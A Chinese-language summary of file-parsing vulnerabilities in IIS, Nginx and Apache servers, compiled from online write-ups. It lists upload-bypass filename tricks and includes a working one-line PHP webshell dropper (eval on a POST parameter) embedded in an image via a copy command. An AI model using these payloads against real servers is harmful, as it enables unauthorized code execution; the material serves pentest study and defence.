常見的服務(wù)器有 IIS、apache、nginx,其中又分同一服務(wù)器不同版本的解析漏洞,下面也是我從網(wǎng)上找的一些文檔,整合總結(jié)到一起的。
### 1、IIS 5.x 6.0
1、目錄解析
example:www.xxx.com/xxx.asp/xxx.jpg
IIS服務(wù)器會把.asp .asa目錄下的文件都解析成asp文件。其中xxx.jsp可以是任意后綴的文件,但是里面的內(nèi)容是webshell腳本。
2、文件解析
example:www.xxx.com/xxx.asp;.jpg
分號后面的不解析,所以最后解析的文件就變成了xxx.asp
3、IIS 6.0除了asp還可以解析 .asa .cer .cdx類型的文件
例如:/xxx.asa/xxx.jpg, /xxx.cer/xxx.jpg, /xxx.cdx/xxx.jpg
### IIS 7.0,IIS 7.5,Nginx <8.03
在Fast-CGI開啟的狀態(tài)下,在類似xxx.jpg后面加上/xxx.php,變成/xxx.jpg/xxx.php路徑會解析成PHP文件。
將xxx.txt文本文件中的后門代碼寫入到xxx.jpg圖片的二進(jìn)制代碼:
copy xxx.jpg/b + xxx.txt/a zzz.jpg
xxx.txt的文件內(nèi)容為:
```
<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[password])?>');?>
```
然后訪問 www.xxx.com/xxx.jpg/.php,就會在當(dāng)前目錄下生成一句話木馬shell.php
### nginx < 8.03 空字節(jié)代碼執(zhí)行漏洞
在Fast-CGI關(guān)閉的狀態(tài)下,文件路徑 /xxx.jpg%00.php 會解析成PHP文件
### IIS7.5解析漏洞
這個漏洞與nginx的類似,在php配置文件中開啟了cgi.fix_pathinfo,這是PHP的配置問題。
### apache解析漏洞
apache在解析類似 shell.php.xxx.rar的文件時,是從右往左開始解析,如果遇到不認(rèn)識的后綴名,就在往左解析,rar無法解析,接著往左判斷xxx也不可解析,最后到PHP后綴
example:www.xxx.com/shell.php.xxx.rar
除了PHP后綴外,php|php3|phtml也可以被apache解析
### Windows繞過
在windows操作系統(tǒng)下,xxx.jpg[空格],xxx.jpg. 這兩種命名方式,在win下會默認(rèn)去掉空格和點,變成xxx.jpg格式。
注:Linux可以允許此類命名文件存在。
參考資料:
[解析漏洞總結(jié)](http://wooyun.jozxing.cc/static/drops/papers-539.html)
[服務(wù)器解析漏洞](https://thief.one/2016/09/21/%E6%9C%8D%E5%8A%A1%E5%99%A8%E8%A7%A3%E6%9E%90%E6%BC%8F%E6%B4%9E/)
[文件解析漏洞總結(jié)-Apache](https://blog.csdn.net/wn314/article/details/77074477)
[文件解析漏洞總結(jié)-Nginx](https://blog.csdn.net/wn314/article/details/77388289)
[文件解析漏洞總結(jié)-IIS](https://blog.csdn.net/wn314/article/details/77388337)